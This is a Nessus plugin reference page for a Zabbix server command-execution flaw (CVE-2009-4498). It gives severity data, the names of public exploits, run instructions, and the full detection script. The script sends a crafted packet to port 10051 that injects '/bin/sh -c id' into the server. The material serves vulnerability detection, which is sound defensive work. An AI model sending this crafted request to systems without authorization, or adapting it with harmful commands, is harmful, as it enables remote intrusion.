Zabbix node_process_command() Function Crafted Request Arbitrary Command Execution - Nessus

High   Plugin ID: 44620

This page contains detailed information about the Zabbix node_process_command() Function Crafted Request Arbitrary Command Execution Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 44620
Name: Zabbix node_process_command() Function Crafted Request Arbitrary Command Execution
Filename: zabbix_remote_command_execution.nasl
Vulnerability Published: 2009-09-15
This Plugin Published: 2010-02-15
Last Modification Time: 2018-08-07
Plugin Version: 1.12
Plugin Type: remote
Plugin Family: Misc.
Dependencies: zabbix_server_detect.nasl

Vulnerability Information


Severity: High
Vulnerability Published: 2009-09-15
Patch Published: 2009-12-13
CVE [?]: CVE-2009-4498
CPE [?]: N/A

Synopsis

The remote service allows execution of arbitrary commands.

Description

The version of Zabbix server running on the remote host has a command execution vulnerability in the 'process_node_command()' function of 'nodehistory.c'.

A remote attacker could exploit this by sending a specially crafted request, resulting in the execution of operating system commands.

Solution

Upgrade to Zabbix 1.6.8 or later.

Public Exploits


Target Network Port(s): 10051
Target Asset(s): Services/zabbix_server
Exploit Available: True (Metasploit Framework, Exploit-DB, ExploitHub)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the Zabbix node_process_command() Function Crafted Request Arbitrary Command Execution vulnerability:

  1. Metasploit: exploit/linux/misc/zabbix_server_exec
    [Zabbix Server Arbitrary Command Execution]
  2. Exploit-DB: exploits/linux/remote/20796.rb
    [EDB-20796: Zabbix Server - Arbitrary Command Execution (Metasploit)]
  3. ExploitHub: EH-12-725

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:P/I:P/A:P/E:F/RL:OF/RC:C
CVSS Base Score:7.5 (High)
Impact Subscore:6.4
Exploitability Subscore:10.0
CVSS Temporal Score:6.2 (Medium)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:6.2 (Medium)
CVSS V3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C
CVSS Base Score:8.8 (High)
Impact Subscore:5.9
Exploitability Subscore:2.8
CVSS Temporal Score:8.2 (High)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:8.2 (High)

Go back to menu.

Plugin Source


This is the zabbix_remote_command_execution.nasl nessus plugin source code. This script is Copyright (C) 2010-2018 and is owned by Tenable, Inc. or an Affiliate thereof.

#
# (C) Tenable Network Security, Inc.
#


include("compat.inc");


if (description)
{
  script_id(44620);
  script_version("1.12");
  script_cvs_date("Date: 2018/08/07 16:46:51");

  script_cve_id("CVE-2009-4498");
  script_bugtraq_id(37989);
  script_xref(name:"Secunia", value:"37740");

  script_name(english:"Zabbix node_process_command() Function Crafted Request Arbitrary Command Execution");
  script_summary(english:"Attempts to execute the command 'id' on the server");

  script_set_attribute(attribute:"synopsis", value:"The remote service allows execution of arbitrary commands.");
  script_set_attribute(
    attribute:"description",
    value:
"The version of Zabbix server running on the remote host has a command
execution vulnerability in the 'process_node_command()' function of
'nodehistory.c'. 

A remote attacker could exploit this by sending a specially crafted
request, resulting in the execution of operating system commands."
  );
  script_set_attribute(attribute:"see_also", value:"https://support.zabbix.com/browse/ZBX-1030");
  script_set_attribute(attribute:"solution", value:"Upgrade to Zabbix 1.6.8 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploithub_sku", value:"EH-12-725");
  script_set_attribute(attribute:"exploit_framework_exploithub", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Zabbix Server Arbitrary Command Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_cwe_id(78);

  script_set_attribute(attribute:"vuln_publication_date", value:"2009/09/15");
  script_set_attribute(attribute:"patch_publication_date", value:"2009/12/13");
  script_set_attribute(attribute:"plugin_publication_date", value:"2010/02/15");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_family(english:"Misc.");

  script_copyright(english:"This script is Copyright (C) 2010-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("zabbix_server_detect.nasl");
  script_require_ports("Services/zabbix_server", 10051);

  exit(0);
}


include("global_settings.inc");
include("byte_func.inc");
include("misc_func.inc");
include("data_protection.inc");

port = get_kb_item("Services/zabbix_server");
if (!port) port = 10051;
if (!get_port_state(port)) exit(0, "Port "+port+" is not open.");

soc = open_sock_tcp(port);
if (!soc) exit(1, "Can't open a socket on port "+port+".");

set_byte_order(BYTE_ORDER_LITTLE_ENDIAN);

header = 'ZBXD'+mkbyte(1);
data = 'Command'+mkbyte(0255);
data += '0' + mkbyte(0255);
data += '0000' + mkbyte(0255);
data += '/bin/sh -c id' + mkbyte(0255);
size = mkdword(strlen(data)) + mkdword(0);

req = header+size+data;
send(socket:soc, data:req);

res = recv(socket:soc, length:256);

# should look something like this: uid=1001(zabbix) gid=1001(zabbix) groups=1001(zabbix)
if(strlen(res) && "uid=" >< res)
{
  if (report_verbosity > 0)
  {
    report = '\nThe output of "/bin/sh -c id" is :\n\n'+data_protection::sanitize_uid(output:res)+'\n';
    security_hole(port:port, extra:report);
  }
  else security_hole(port);
  exit(0);
}
else exit(0, 'The Zabbix server on port '+port+' is not affected.');

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/zabbix_remote_command_execution.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\zabbix_remote_command_execution.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/zabbix_remote_command_execution.nasl

Go back to menu.

How to Run


Here is how to run the Zabbix node_process_command() Function Crafted Request Arbitrary Command Execution as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select Misc. plugin family.
  6. On the right side table select Zabbix node_process_command() Function Crafted Request Arbitrary Command Execution plugin ID 44620.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl zabbix_remote_command_execution.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a zabbix_remote_command_execution.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - zabbix_remote_command_execution.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state zabbix_remote_command_execution.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: Secunia Advisory: CWE | Common Weakness Enumeration:
  • CWE-78 (Weakness) Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
See also: Similar and related Nessus plugins:
  • 43391 - Zabbix Server send_history_last_id() SQL Injection
  • 105042 - Zabbix Server 'active checks' Command Injection
  • 70497 - Zabbix < 1.8.18rc1 / 2.0.9rc1 / 2.1.7 Multiple SQL Injections
  • 91349 - Zabbix < 2.0.18 / 2.2.13 / 3.0.3 'mysql.size' Parameter Command Injection
  • 72770 - Zabbix < 1.8.20 / 2.0.11 / 2.2.2 Multiple Vulnerabilities
  • 100615 - Zabbix 2.0.x < 2.0.21 / 2.2.x < 2.2.18 / 3.0.x < 3.0.9 / 3.2.x < 3.2.5 Multiple Vulnerabilities
  • 158452 - Zabbix 5.4.x < 5.4.9 Multiple Vulnerabilities
  • 62757 - Zabbix Web Interface popup_bitem.php itemid Parameter SQL Injection
  • 35787 - Zabbix Web Interface extlang[] Parameter Remote Code Execution
  • 139297 - Debian DLA-2311-1 : zabbix security update
  • 143193 - Debian DLA-2461-1 : zabbix security update
  • 148926 - Debian DLA-2631-1 : zabbix security update
  • 157409 - Debian DLA-2914-1 : zabbix - LTS security update
  • 62000 - Debian DSA-2539-1 : zabbix - SQL injection
  • 97530 - Debian DSA-3802-1 : zabbix - security update
  • 102444 - Debian DSA-3937-1 : zabbix - security update
  • 57077 - Fedora 15 : zabbix-1.8.9-1.fc15 (2011-16712)
  • 57078 - Fedora 16 : zabbix-1.8.9-1.fc16 (2011-16745)
  • 61736 - Fedora 16 : zabbix-1.8.15-1.fc16 (2012-12488)
  • 61737 - Fedora 17 : zabbix-1.8.15-1.fc17 (2012-12496)
  • 73814 - Fedora 20 : zabbix-2.0.11-3.fc20 (2014-5540)
  • 73815 - Fedora 19 : zabbix-2.0.11-3.fc19 (2014-5551)
  • 101639 - Fedora 26 : zabbix (2017-5c8a4ebccd)
  • 101181 - Fedora 25 : zabbix (2017-63aca509fb)
  • 101184 - Fedora 24 : zabbix (2017-d191fb7fce)
  • 139100 - Fedora 32 : 1:zabbix (2020-02cf7850ca)
  • 139102 - Fedora 31 : 1:zabbix (2020-519516feec)
  • 136758 - FreeBSD : Zabbix -- Remote code execution (4d11d37e-9a8d-11ea-b9b8-641c67a117d8)
  • 102530 - FreeBSD : Zabbix -- Remote code execution (5df8bd95-8290-11e7-93af-005056925db4)
  • 71089 - GLSA-201311-15 : Zabbix: Multiple vulnerabilities
  • 95816 - GLSA-201612-42 : Zabbix: Multiple vulnerabilities
  • 141167 - openSUSE Security Update : zabbix (openSUSE-2020-1604)
  • 158130 - openSUSE 15 Security Update : zabbix (openSUSE-SU-2022:0036-1)
  • 139658 - SUSE SLES12 Security Update : zabbix (SUSE-SU-2020:2251-1)
  • 148252 - SUSE SLES12 Security Update : zabbix (SUSE-SU-2021:0990-1)

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file zabbix_remote_command_execution.nasl version 1.12. For more plugins, visit the Nessus Plugin Library.

Go back to menu.